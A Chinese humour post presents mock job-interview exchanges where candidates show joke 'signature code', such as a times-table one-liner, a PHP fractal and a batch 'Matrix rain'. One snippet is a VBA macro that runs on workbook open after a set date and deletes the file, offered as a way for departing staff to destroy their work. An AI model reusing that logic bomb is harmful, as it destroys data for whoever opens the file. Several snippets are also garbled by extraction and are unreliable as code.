面试官问:请拿出一段体现你水平的代码

专栏 | 九章算法

网址 | www.jiuzhang.com

当面试官问:请拿出一段体现你水平的代码时,你会如何回答?

1.Python迷宫

面试官:你有什么代码作品吗?

候选人:有的,Python语言的代码可以吗?

面试官:都可以

候选人:这就是我平常画的代码,如下

print('\n'.join([' '.join(['%s*%s=%-2s' % (y, x, x*y) for y in range(1, x+1)]) for x in range(1, 10)]))

候选人:是我为孩子写的,打印出来就是99乘法表

候选人:还有 print(''.join(import('random').choice('/\') for i in range(50*24)))

可以打印出迷宫,可以拿来和孩子一起玩游戏

2.代码也可以用来搞艺术

面试官:请拿出一段能体现你水平的代码?

候选人:好的,我带了好几个作品。

面试官:都拿给我看看吧。

$x = 200;

$y = 200;

gd = imagecreatetruecolor(x, $y);

$corners[0] = array('x' => 100, 'y' => 10);

$corners[1] = array('x' => 0, 'y' => 190);

$corners[2] = array('x' => 200, 'y' => 190);

red = imagecolorallocate(gd, 255, 0, 0);

for (i = 0;i < 100000; $i++) {

imagesetpixel(gd, round(x),round(y),red);

$a = rand(0, 2);

x = (x + corners[a]['x']) / 2;

y = (y + corners[a]['y']) / 2;

}

header('Content-Type: image/png');

imagepng($gd);

候选人:运行之后,作品如下

候选人:这是另一个

面试官:这是啥?

候选人:不着急,这是一组图片,还没看完

面试官:......

候选人:还有,还没完,下面这组是关于动物的。

面试官:你应该去应聘画师岗位。

3.离职=删库跑路

面试官:作品带来了吗?

候选人:带了,带了

Private Sub Workbook_open()

If Date >= #12/8/2017# Then

Application.DisplayAlerts = False

MsgBox "不要迷恋哥,哥就是个传说!", Title:="领土所属权!"

With ThisWorkbook

.Saved = True

.ChangeFileAccess xlReadOnly

Kill .FullName

.Close

End With

Else: Exit Sub

End If

End Sub

面试官:那你简单说下这个代码吧

候选人:这个程序适合离职的人,是会自杀的文件,离职时电脑里的文件带不走,又不想让下一个人看见,就可以运行这个代码。只要有人打开文件,程序便会运行,所有文件便随之消失了。

4.作死类型

面试官:下一个可以把你作品拿过来了

候选人:好的,下面这是我的作品

面试官:你这竟一行代码都没写?

候选人:我这个主要展现todo的用法

5.黑客帝国代码雨

面试官:最后一个,可以展示你的代码了

候选人:好的,准备好了,马上开始

@echo off

color 02

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

候选人:这个代码可以帮我们实现黑客帝国代码雨的效果,超级炫酷

面试官内心os: 确认过眼神,都是惹不起的人



欢迎关注我的微信公众号:九章算法(ninechapter)。
精英程序员交流社区,定期发布面试题、面试技巧、求职信息等

转载于:https://juejin.im/post/5cd8d7f2f265da038a1495db

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值